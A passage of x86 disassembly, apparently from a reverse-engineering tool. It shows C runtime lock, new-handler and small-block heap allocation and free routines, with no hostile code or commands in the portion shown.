mov ecx, [ebp+var_C]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
push eax
call sub_41B3D0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41B5B7
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41B5B7: ; CODE XREF: sub_41B4F0+BCj
jmp short loc_41B5F5
; ---------------------------------------------------------------------------
loc_41B5B9: ; CODE XREF: sub_41B4F0+A2j
cmp [ebp+arg_0], 0
jnz short loc_41B5F5
mov edx, [ebp+var_C]
mov eax, dword_4DB7AC
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_41B5F5
mov eax, [ebp+var_C]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
push edx
call sub_41B3D0
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_41B5F5
mov [ebp+var_8], 0FFFFFFFFh
loc_41B5F5: ; CODE XREF: sub_41B4F0+9Cj
; sub_41B4F0:loc_41B5B7j ...
mov eax, [ebp+var_C]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_418F40
add esp, 8
loc_41B60E: ; CODE XREF: sub_41B4F0+4Bj
; sub_41B4F0+68j
jmp loc_41B517
; ---------------------------------------------------------------------------
loc_41B613: ; CODE XREF: sub_41B4F0+39j
push 2
call sub_41B820
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_41B628
mov eax, [ebp+var_4]
jmp short loc_41B62B
; ---------------------------------------------------------------------------
loc_41B628: ; CODE XREF: sub_41B4F0+131j
mov eax, [ebp+var_8]
loc_41B62B: ; CODE XREF: sub_41B4F0+136j
mov esp, ebp
pop ebp
retn
sub_41B4F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41B780
add esp, 4
mov eax, dword_4DB130
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DB130, ecx
push 9
call sub_41B820
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, dword_4DB130
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B670 proc near ; CODE XREF: sub_414E20+48p
; sub_41B880+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB130
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41B690
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_41B694
loc_41B690: ; CODE XREF: sub_41B670+10j
xor eax, eax
jmp short loc_41B699
; ---------------------------------------------------------------------------
loc_41B694: ; CODE XREF: sub_41B670+1Ej
mov eax, 1
loc_41B699: ; CODE XREF: sub_41B670+22j
mov esp, ebp
pop ebp
retn
sub_41B670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B6A0 proc near ; CODE XREF: ___:0041F894p
push ebp
mov ebp, esp
mov eax, off_443BF4
push eax
nop
call near ptr 28606DCh
mov ecx, off_443BE4
push ecx
call near ptr 28606DCh
nop
mov edx, off_443BD4
push edx
nop
call near ptr 28606DCh
mov eax, off_443BB4
push eax
nop
call near ptr 28606DCh
pop ebp
retn
sub_41B6A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B6E0 proc near ; CODE XREF: ___:0041F923p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B6ED: ; CODE XREF: sub_41B6E0:loc_41B747j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41B6F6: ; CODE XREF: sub_41B6E0+Bj
cmp [ebp+var_4], 30h
jge short loc_41B749
mov ecx, [ebp+var_4]
cmp dword_443BB0[ecx*4], 0
jz short loc_41B747
cmp [ebp+var_4], 11h
jz short loc_41B747
cmp [ebp+var_4], 0Dh
jz short loc_41B747
cmp [ebp+var_4], 9
jz short loc_41B747
cmp [ebp+var_4], 1
jz short loc_41B747
mov edx, [ebp+var_4]
mov eax, dword_443BB0[edx*4]
push eax
nop
call near ptr 2700770h
push 2
mov ecx, [ebp+var_4]
mov edx, dword_443BB0[ecx*4]
push edx
call sub_415860
add esp, 8
loc_41B747: ; CODE XREF: sub_41B6E0+27j
; sub_41B6E0+2Dj ...
jmp short loc_41B6ED
; ---------------------------------------------------------------------------
loc_41B749: ; CODE XREF: sub_41B6E0+1Aj
mov eax, off_443BD4
push eax
nop
call near ptr 2700770h
mov ecx, off_443BE4
push ecx
nop
call near ptr 2700770h
mov edx, off_443BF4
push edx
call near ptr 2700770h
nop
mov eax, off_443BB4
push eax
call near ptr 2700770h
nop
mov esp, ebp
pop ebp
retn
sub_41B6E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B780 proc near ; CODE XREF: sub_414E20+6p
; sub_415260+6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword_443BB0[eax*4], 0
jnz short loc_41B802
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_414DD0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41B7BA
push 11h
call sub_41A9A0
add esp, 4
loc_41B7BA: ; CODE XREF: sub_41B780+2Ej
push 11h
call sub_41B780
add esp, 4
mov ecx, [ebp+arg_0]
cmp dword_443BB0[ecx*4], 0
jnz short loc_41B7EA
mov edx, [ebp+var_4]
push edx
nop
call near ptr 28606DCh
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_443BB0[eax*4], ecx
jmp short loc_41B7F8
; ---------------------------------------------------------------------------
loc_41B7EA: ; CODE XREF: sub_41B780+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_415860
add esp, 8
loc_41B7F8: ; CODE XREF: sub_41B780+68j
push 11h
call sub_41B820
add esp, 4
loc_41B802: ; CODE XREF: sub_41B780+Fj
mov eax, [ebp+arg_0]
mov ecx, dword_443BB0[eax*4]
push ecx
nop
call near ptr 77F7E21Fh
mov esp, ebp
pop ebp
retn
sub_41B780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B820 proc near ; CODE XREF: sub_414E20+2Bp
; sub_415260+31p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_443BB0[eax*4]
push ecx
nop
call near ptr 77F7E300h
pop ebp
retn
sub_41B820 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call near ptr 286074Ch
nop
push 0FFh
call near ptr 77E75CB5h
nop
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B860 proc near ; CODE XREF: sub_41BA10+10p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, dword_4DB12C
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B880
add esp, 8
pop ebp
retn
sub_41B860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B880 proc near ; CODE XREF: sub_41B860+Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_41B88E
xor eax, eax
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B88E: ; CODE XREF: sub_41B880+8j
; sub_41B880:loc_41B8D1j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41B8A5
mov eax, [ebp+arg_0]
push eax
call sub_41B8E0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_41B8AC
; ---------------------------------------------------------------------------
loc_41B8A5: ; CODE XREF: sub_41B880+12j
mov [ebp+var_4], 0
loc_41B8AC: ; CODE XREF: sub_41B880+23j
cmp [ebp+var_4], 0
jnz short loc_41B8B8
cmp [ebp+arg_4], 0
jnz short loc_41B8BD
loc_41B8B8: ; CODE XREF: sub_41B880+30j
mov eax, [ebp+var_4]
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8BD: ; CODE XREF: sub_41B880+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_41B670
add esp, 4
test eax, eax
jnz short loc_41B8D1
xor eax, eax
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8D1: ; CODE XREF: sub_41B880+4Bj
jmp short loc_41B88E
; ---------------------------------------------------------------------------
loc_41B8D3: ; CODE XREF: sub_41B880+Cj
; sub_41B880+3Bj ...
mov esp, ebp
pop ebp
retn
sub_41B880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8E0 proc near ; CODE XREF: sub_414EA0+19Dp
; sub_41B880+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_443C78
ja short loc_41B91D
push 9
call sub_41B780
add esp, 4
mov ecx, [ebp+arg_0]
push ecx
call sub_41C510
add esp, 4
mov [ebp+var_4], eax
push 9
call sub_41B820
add esp, 4
cmp [ebp+var_4], 0
jz short loc_41B91D
mov eax, [ebp+var_4]
jmp short loc_41B949
; ---------------------------------------------------------------------------
loc_41B91D: ; CODE XREF: sub_41B8E0+Dj
; sub_41B8E0+36j
cmp [ebp+arg_0], 0
jnz short loc_41B92A
mov [ebp+arg_0], 1
loc_41B92A: ; CODE XREF: sub_41B8E0+41j
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4DB7A0
push ecx
nop
call near ptr 2870000h
loc_41B949: ; CODE XREF: sub_41B8E0+3Bj
mov esp, ebp
pop ebp
retn
sub_41B8E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B950 proc near ; CODE XREF: sub_414EA0+79p
; sub_4152A0+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_41B950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B960 proc near ; CODE XREF: sub_4152A0+2D4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_41B973
xor eax, eax
jmp loc_41BA09
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B960+Aj
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41BE80
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41B9D1
mov [ebp+var_4], 0
mov ecx, [ebp+arg_4]
cmp ecx, dword_443C78
ja short loc_41B9C2
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41CD50
add esp, 0Ch
test eax, eax
jz short loc_41B9C2
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
loc_41B9C2: ; CODE XREF: sub_41B960+42j
; sub_41B960+5Aj
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+var_4]
jmp short loc_41BA09
; ---------------------------------------------------------------------------
loc_41B9D1: ; CODE XREF: sub_41B960+30j
push 9
call sub_41B820
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41B9E8
mov [ebp+arg_4], 1
loc_41B9E8: ; CODE XREF: sub_41B960+7Fj
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4DB7A0
push eax
nop
call near ptr 2880000h
loc_41BA09: ; CODE XREF: sub_41B960+Ej
; sub_41B960+6Fj
mov esp, ebp
pop ebp
retn
sub_41B960 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA10 proc near ; CODE XREF: sub_4152A0+2AFp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_0], 0
jnz short loc_41BA2D
mov eax, [ebp+arg_4]
push eax
call sub_41B860
add esp, 4
jmp loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BA2D: ; CODE XREF: sub_41BA10+Aj
cmp [ebp+arg_4], 0
jnz short loc_41BA46
mov ecx, [ebp+arg_0]
push ecx
call sub_41BC00
add esp, 4
xor eax, eax
jmp loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BA46: ; CODE XREF: sub_41BA10+21j
; sub_41BA10:loc_41BBF1j
mov [ebp+var_8], 0
cmp [ebp+arg_4], 0FFFFFFE0h
ja loc_41BBC9
push 9
call sub_41B780
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_41BE80
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz loc_41BB8C
mov eax, [ebp+arg_4]
cmp eax, dword_443C78
ja short loc_41BB00
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41CD50
add esp, 0Ch
test eax, eax
jz short loc_41BAA5
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
jmp short loc_41BB00
; ---------------------------------------------------------------------------
loc_41BAA5: ; CODE XREF: sub_41BA10+8Bj
mov edx, [ebp+arg_4]
push edx
call sub_41C510
add esp, 4
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41BB00
mov eax, [ebp+arg_0]
mov ecx, [eax-4]
sub ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_41BAD6
mov eax, [ebp+var_4]
mov [ebp+var_10], eax
jmp short loc_41BADC
; ---------------------------------------------------------------------------
loc_41BAD6: ; CODE XREF: sub_41BA10+BCj
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
loc_41BADC: ; CODE XREF: sub_41BA10+C4j
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_4187B0
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41BF40
add esp, 8
loc_41BB00: ; CODE XREF: sub_41BA10+73j
; sub_41BA10+93j ...
cmp [ebp+var_8], 0
jnz short loc_41BB80
cmp [ebp+arg_4], 0
jnz short loc_41BB13
mov [ebp+arg_4], 1
loc_41BB13: ; CODE XREF: sub_41BA10+FAj
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 2870000h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41BB80
mov ecx, [ebp+arg_0]
mov edx, [ecx-4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_41BB56
mov ecx, [ebp+var_4]
mov [ebp+var_14], ecx
jmp short loc_41BB5C
; ---------------------------------------------------------------------------
loc_41BB56: ; CODE XREF: sub_41BA10+13Cj
mov edx, [ebp+arg_4]
mov [ebp+var_14], edx
loc_41BB5C: ; CODE XREF: sub_41BA10+144j
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_4187B0
add esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_41BF40
add esp, 8
loc_41BB80: ; CODE XREF: sub_41BA10+F4j
; sub_41BA10+128j
push 9
call sub_41B820
add esp, 4
jmp short loc_41BBC9
; ---------------------------------------------------------------------------
loc_41BB8C: ; CODE XREF: sub_41BA10+64j
push 9
call sub_41B820
add esp, 4
cmp [ebp+arg_4], 0
jnz short loc_41BBA3
mov [ebp+arg_4], 1
loc_41BBA3: ; CODE XREF: sub_41BA10+18Aj
mov edx, [ebp+arg_4]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_4], edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0
mov edx, dword_4DB7A0
push edx
nop
call near ptr 2880000h
mov [ebp+var_8], eax
loc_41BBC9: ; CODE XREF: sub_41BA10+41j
; sub_41BA10+17Aj
cmp [ebp+var_8], 0
jnz short loc_41BBD8
cmp dword_4DB12C, 0
jnz short loc_41BBDD
loc_41BBD8: ; CODE XREF: sub_41BA10+1BDj
mov eax, [ebp+var_8]
jmp short loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BBDD: ; CODE XREF: sub_41BA10+1C6j
mov eax, [ebp+arg_4]
push eax
call sub_41B670
add esp, 4
test eax, eax
jnz short loc_41BBF1
xor eax, eax
jmp short loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BBF1: ; CODE XREF: sub_41BA10+1DBj
jmp loc_41BA46
; ---------------------------------------------------------------------------
loc_41BBF6: ; CODE XREF: sub_41BA10+18j
; sub_41BA10+31j ...
mov esp, ebp
pop ebp
retn
sub_41BA10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC00 proc near ; CODE XREF: sub_415890+26Ep
; sub_415890+3B2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41BC0C
jmp short loc_41BC64
; ---------------------------------------------------------------------------
loc_41BC0C: ; CODE XREF: sub_41BC00+8j
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41BE80
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41BC47
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41BF40
add esp, 8
push 9
call sub_41B820
add esp, 4
jmp short loc_41BC64
; ---------------------------------------------------------------------------
loc_41BC47: ; CODE XREF: sub_41BC00+29j
push 9
call sub_41B820
add esp, 4
mov eax, [ebp+arg_0]
push eax
push 0
mov ecx, dword_4DB7A0
push ecx
nop
call near ptr 28820CAh
loc_41BC64: ; CODE XREF: sub_41BC00+Aj
; sub_41BC00+45j
mov esp, ebp
pop ebp
retn
sub_41BC00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC70 proc near ; CODE XREF: sub_415F70+30p
; ___:0041BCF3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0FFFFFFFEh
push 9
call sub_41B780
add esp, 4
call sub_41D470
test eax, eax
jge short loc_41BC95
mov [ebp+var_4], 0FFFFFFFCh
loc_41BC95: ; CODE XREF: sub_41BC70+1Cj
push 9
call sub_41B820
add esp, 4
push 0
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 2830000h
test eax, eax
jnz short loc_41BCDD
nop
call near ptr 26908EFh
cmp eax, 78h
jnz short loc_41BCD6
call sub_420530
mov dword ptr [eax], 78h
call sub_420520
mov dword ptr [eax], 28h
jmp short loc_41BCDD
; ---------------------------------------------------------------------------
loc_41BCD6: ; CODE XREF: sub_41BC70+4Cj
mov [ebp+var_4], 0FFFFFFFCh
loc_41BCDD: ; CODE XREF: sub_41BC70+41j
; sub_41BC70+64j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41BC70 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41BC70
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 1000h
xor eax, eax
cmp dword ptr [ebp+8], 0
setz al
push eax
call near ptr 2890000h
nop
mov dword_4DB7A0, eax
cmp dword_4DB7A0, 0
jnz short loc_41BD2C
xor eax, eax
jmp short loc_41BD4B
; ---------------------------------------------------------------------------
loc_41BD2C: ; CODE XREF: ___:0041BD26j
call sub_41BE20
test eax, eax
jnz short loc_41BD46
mov ecx, dword_4DB7A0
push ecx
call near ptr 288298Bh
nop
xor eax, eax
jmp short loc_41BD4B
; ---------------------------------------------------------------------------
loc_41BD46: ; CODE XREF: ___:0041BD33j
mov eax, 1
loc_41BD4B: ; CODE XREF: ___:0041BD2Aj
; ___:0041BD44j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4DB79C
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_41BD70
; ---------------------------------------------------------------------------
loc_41BD67: ; CODE XREF: ___:0041BDC4j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41BD70: ; CODE XREF: ___:0041BD65j
mov edx, [ebp-4]
cmp edx, dword_4DB798
jge short loc_41BDC6
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
nop
call near ptr 2890603h
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
nop
call near ptr 2890603h
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 28820CAh
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_41BD67
; ---------------------------------------------------------------------------
loc_41BDC6: ; CODE XREF: ___:0041BD79j
mov edx, dword_4DB79C
push edx
push 0
mov eax, dword_4DB7A0
push eax
nop
call near ptr 28820CAh
mov ecx, dword_4DB7A0
push ecx
call near ptr 288298Bh
nop
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, dword_443C78
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 3F8h
jbe short loc_41BE10
xor eax, eax
jmp short loc_41BE1D
; ---------------------------------------------------------------------------
loc_41BE10: ; CODE XREF: ___:0041BE0Aj
mov eax, [ebp+8]
mov dword_443C78, eax
mov eax, 1
loc_41BE1D: ; CODE XREF: ___:0041BE0Ej
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE20 proc near ; CODE XREF: ___:loc_41BD2Cp
push ebp
mov ebp, esp
push 140h
push 0
mov eax, dword_4DB7A0
push eax
call near ptr 2870000h
nop
mov dword_4DB79C, eax
cmp dword_4DB79C, 0
jnz short loc_41BE48
xor eax, eax
jmp short loc_41BE77
; ---------------------------------------------------------------------------
loc_41BE48: ; CODE XREF: sub_41BE20+22j
mov ecx, dword_4DB79C
mov dword_4DB790, ecx
mov dword_4DB794, 0
mov dword_4DB798, 0
mov dword_4DB788, 10h
mov eax, 1
loc_41BE77: ; CODE XREF: sub_41BE20+26j
pop ebp
retn
sub_41BE20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE80 proc near ; CODE XREF: sub_4163D0+30p
; sub_41B960+21p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4DB798
imul eax, 14h
mov ecx, dword_4DB79C
add ecx, eax
mov [ebp+var_C], ecx
mov edx, dword_4DB79C
mov [ebp+var_8], edx
loc_41BEA2: ; CODE XREF: sub_41BE80+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_41BECF
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_41BEC4
mov eax, [ebp+var_8]
jmp short loc_41BED1
; ---------------------------------------------------------------------------
loc_41BEC4: ; CODE XREF: sub_41BE80+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_41BEA2
; ---------------------------------------------------------------------------
loc_41BECF: ; CODE XREF: sub_41BE80+28j
xor eax, eax
loc_41BED1: ; CODE XREF: sub_41BE80+42j
mov esp, ebp
pop ebp
retn
sub_41BE80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEE0 proc near ; CODE XREF: sub_4163D0+4Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_41BF31
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_41BF31
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_41BF31
mov [ebp+var_C], 1
jmp short loc_41BF38
; ---------------------------------------------------------------------------
loc_41BF31: ; CODE XREF: sub_41BEE0+2Fj
; sub_41BEE0+39j ...
mov [ebp+var_C], 0
loc_41BF38: ; CODE XREF: sub_41BEE0+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_41BEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BF40 proc near ; CODE XREF: sub_41BA10+E8p
; sub_41BA10+168p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_1C]
add edx, [ebp+var_30]
mov [ebp+var_38], edx
mov eax, [ebp+var_38]
mov ecx, [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
mov eax, [edx-4]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
and ecx, 1
test ecx, ecx
jnz loc_41C0D8
mov edx, [ebp+var_14]
sar edx, 4
sub edx, 1
mov [ebp+var_24], edx
cmp [ebp+var_24], 3Fh
jbe short loc_41BFCF
mov [ebp+var_24], 3Fh
loc_41BFCF: ; CODE XREF: sub_41BF40+86j
mov eax, [ebp+var_38]
mov ecx, [ebp+var_38]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_41C0B1
cmp [ebp+var_24], 20h
jnb short loc_41C046
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_41C044
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_41C044: ; CODE XREF: sub_41BF40+EAj
jmp short loc_41C0B1
; ---------------------------------------------------------------------------
loc_41C046: ; CODE XREF: sub_41BF40+A5j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
